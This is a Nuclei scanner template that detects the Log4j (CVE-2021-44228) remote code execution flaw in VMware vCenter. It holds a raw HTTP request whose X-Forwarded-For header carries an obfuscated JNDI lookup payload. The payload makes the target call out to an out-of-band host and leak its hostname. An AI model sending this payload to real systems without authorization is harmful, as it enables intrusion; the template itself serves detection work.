VMware VCenter is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
PoC代码[已公开]
id: vmware-vcenter-log4j-rce
info:
name: VMware VCenter - Remote Code Execution (Apache Log4j)
author: _0xf4n9x_
severity: critical
description: |
VMware VCenter is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
reference:
- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
- https://twitter.com/tnpitsecurity/status/1469429810216771589
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
cpe: cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*
metadata:
max-request: 1
shodan-query: title:"VMware VCenter"
product: vcenter_server
vendor: vmware
tags: cve,cve2021,rce,jndi,log4j,vcenter,vmware,oast,kev,vuln
http:
- raw:
- |
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: {{Hostname}}
X-Forwarded-For: ${jndi:${lower:d}n${lower:s}://${env:hostName}.{{interactsh-url}}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
extractors:
- type: regex
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
part: interactsh_request
# digest: 4a0a00473045022100e4d7ca8212d02aac842c87dc073d49d68e630a59d62eb876442e659eda20823e02205780710695531998539920ccd834813e3678b602baa37302a6ca248a827a63fc:922c64590222798bb761d5b6d8e72950